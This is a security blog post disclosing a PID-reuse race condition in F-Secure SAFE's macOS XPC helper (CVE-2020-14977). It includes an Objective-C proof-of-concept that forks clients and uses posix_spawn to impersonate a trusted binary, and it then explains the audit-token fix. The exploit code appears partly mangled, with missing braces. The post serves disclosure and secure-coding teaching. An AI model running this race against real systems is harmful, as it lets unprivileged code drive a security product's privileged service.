Secure coding XPC Services - Part 5 - PID reuse attacks (CVE-2020-14977)

In the last post of the series we will see another typical issue, where XPC services using the connecting process’s ID (PID) to verify the client instead of the audit token. We will use F-Secure SAFE again for our case study, the vulnerability was fixed in 17.8 and it was assigned CVE-2020-14977.

The root cause

The XPC services of F-Secure SAFE use the process ID (PID) to verify the client’s signature, as can be seen in the code below.

+(void *)verifyPid:(int)arg2 codesignatureAgainstRequirements:(void *)arg3 {
    var_44 = arg2;
    r14 = [arg3 retain];
    r15 = [SignatureVerificationResult new];
    rax = CFNumberCreate(**_kCFAllocatorDefault, 0x3, &var_44);
    var_40 = rax;
    if (rax != 0x0) {
            rax = CFDictionaryCreate(**_kCFAllocatorDefault, *_kSecGuestAttributePid, &var_40, 0x1, 0x0, 0x0);

The problem with this approach is that on macOS, PIDs can be reused. We can even replace current executable to a different process with posix_spawn() while keeping the old PID, and this is the technique we will use in our exploit later on. The flags POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED passed to posix_spawn will result in starting the process in a suspended mode, and keeping the same PID (the old process is replaced by the new one, keeping the PID). Our exploit will fork 10 processes, each of them sending a message to the XPC service, and each forked process will replace itself with a valid F-Secure client. This way when the XPC service verifies the code signature of the connecting client, it will see the spawned process (this is where we have a race condition), and once its verified it will consume the XPC message sent earlier. With a loop for about 10 times we can easily win the race condition, sometimes even 1 or 2 spawns are enough. The POC keeps track of the child processes, and kills them at the end.

Note: the forked processes will have 10 different PIDs, but when they spawn a new process with exec method, that is the point where the PID is retained.


#import <Foundation/Foundation.h>
#include <spawn.h>
#include <signal.h>

static NSString* XPCHelperMachServiceName = @"com.f-secure.fscsafeadmind";

@protocol fscsafeadmindProtocol
- (void)getScreenSaverPasswordState:(void (^)(BOOL))arg1;
- (void)isKextLoaded:(NSString *)arg1 callback:(void (^)(BOOL))arg2;
- (void)isServiceRunning:(NSString *)arg1 callback:(void (^)(BOOL))arg2;
- (void)unsubscribeEndpoint:(NSXPCListenerEndpoint *)arg1 fromProtocol:(NSString *)arg2;
- (void)subscribeToChangesWithProtocol:(NSString *)arg1 andEndpoint:(NSXPCListenerEndpoint *)arg2;
- (void)setUninstallationProtectionEnabled:(BOOL)arg1;
- (void)setScanningExclusions:(NSArray *)arg1;
- (void)getXFenceDisabledInSettings:(void (^)(BOOL))arg1;
- (void)disableScheduledScanning;
- (void)enableScheduledScanning:(id <NSSecureCoding>)arg1;
- (void)setXfenceEnabledNoAuth:(BOOL)arg1;
- (void)setFRSEnabledNoAuth:(BOOL)arg1;
- (void)oasIsTemporarilyDisabled:(void (^)(BOOL))arg1;
- (void)getOASState:(void (^)(long long))arg1;
- (void)setOASEnabledNoAuth:(BOOL)arg1;
- (void)getIsolationState:(void (^)(BOOL))arg1;
- (void)setFirewallBlock:(BOOL)arg1;
- (void)setFirewallEnabledNoAuth:(BOOL)arg1;
- (void)getFirewallState:(void (^)(long long))arg1;
- (void)getSignupDataWithCallback:(void (^)(NSError *, NSString *, NSString *))arg1;
- (void)setTimeLimits:(id <NSSecureCoding>)arg1 user:(unsigned int)arg2 callback:(void (^)(BOOL))arg3;
- (void)disableWebBlockingForUserWithID:(unsigned int)arg1 callback:(void (^)(BOOL))arg2;
- (void)setFirewallEnabled:(BOOL)arg1 authorization:(NSData *)arg2 callback:(void (^)(BOOL))arg3;
- (void)getXfenceNonAdminCanCreateRulesWithCallback:(void (^)(BOOL))arg1;
- (void)setXfenceNonAdminCanCreateRules:(BOOL)arg1 authorization:(NSData *)arg2 callback:(void (^)(BOOL))arg3;
- (void)getXFENCEFilterStatusWithCallback:(void (^)(BOOL))arg1;
- (void)setXfenceEnabled:(BOOL)arg1 authorization:(NSData *)arg2 callback:(void (^)(BOOL))arg3;
- (void)setSubscription:(BOOL)arg1 key:(NSString *)arg2 authorization:(NSData *)arg3 callback:(void (^)(long long))arg4;
- (void)setFRSEnabled:(BOOL)arg1 authorization:(NSData *)arg2 callback:(void (^)(BOOL))arg3;
- (void)setOASEnabled:(BOOL)arg1 resumeTime:(double)arg2 authorization:(NSData *)arg3 callback:(void (^)(BOOL))arg4;

int main(void) {

    #define RACE_COUNT 10
    #define kValid "/Applications/F-Secure/Support Tool"
    extern char **environ;

    int pids[RACE_COUNT];
    for (int i = 0; i < RACE_COUNT; i++)
        int pid = fork();
        if (pid == 0)
        NSString*  _serviceName = XPCHelperMachServiceName;
        NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
        [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(fscsafeadmindProtocol)]];
        [_agentConnection resume];

        id obj = [_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error)
             NSLog(@"Connection Failure");
        NSLog(@"obj: %@", obj);
        NSLog(@"conn: %@", _agentConnection);
        //get FW state
        [obj getFirewallState:^(long long b){
             NSLog(@"Response: %llx",b);
        char target_binary[] = kValid;
        char *target_argv[] = {target_binary, NULL};
        posix_spawnattr_t attr;
        short flags;
        posix_spawnattr_getflags(&attr, &flags);
        posix_spawnattr_setflags(&attr, flags);
        posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
        printf("forked %d\n", pid);
        pids[i] = pid;
    // keep the children alive
    for (int i = 0; i < RACE_COUNT; i++)
        pids[i] && kill(pids[i], 9);

We compile the code with:

gcc -framework Foundation -framework Security fsecurepid.m -o fsecurepid

If we run it, we can see that the fscsafeadmind process will accept the connecting PID.

This is from this code:

/* @class FCSServiceDelegate */
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
    r12 = *_objc_msgSend;
    NSLog(@"%@: Accepting client pid %d", r13, rbx);
    rax = [r13 serviceProtocol];

We can also see the requests:

Another way to exploit it is using Ian Beer’s technique, which can be read further down below.

How to make it secure?

The solution is to use audit_token to verify the connecting client.

Unfortunately these functions are undocumented and private. (If you are an Apple developer reading this, please submit a feature request to Apple for making these APIs public).

  • xpc_connection_get_audit_token
  • [NSXPCConnection auditToken]

Patrick Wardle has a solution how to still use this, documented in his blog post: Objective-See

Essentially we need to create an extended class for NSXPCConnection, and in the shouldAcceptNewConnection callback we simply typecast the connection to this class, and we will be able to access the audit token.

@interface ExtendedNSXPCConnection : NSXPCConnection
   audit_token_t auditToken;
@property audit_token_t auditToken;

@implementation ExtendedNSXPCConnection

   @synthesize auditToken;


-(BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
    auditToken = ((ExtendedNSXPCConnection*)newConnection).auditToken;


This concludes my series I planned in XPC exploitation and secure coding, I hope these posts find their way to developers, as in my experience most of the applications are not done right. Unfortunately the only one to blame for this is Apple, as they don’t provide clear best practices for developers, neither secure public APIs. I hope this will change in the future.

Further resources

If you are interested reading more about XPC attacks I recommend four talks:

  1. Wojciech Reguła ( @_r3ggi ): Abusing and Securing XPC in macOS Apps Objective by the Sea v3
  2. Julia Vashchenko ( @iaronskaya ): Job(s) Bless Us! Privileged Operations on macOS Objective by the Sea v3
  3. Tyler Bohan ( @1blankwall1 ): OSX XPC Revisited - 3rd Party Application Flaws OffensiveCon 19 - YouTube
  4. Ian Beer ( @i41nbeer ): A deep-dive into the many flavors of IPC available on OS X Jailbreak Security Summit 2015 on Vimeo

@_r3ggi has also a blog post detailing XPC exploits: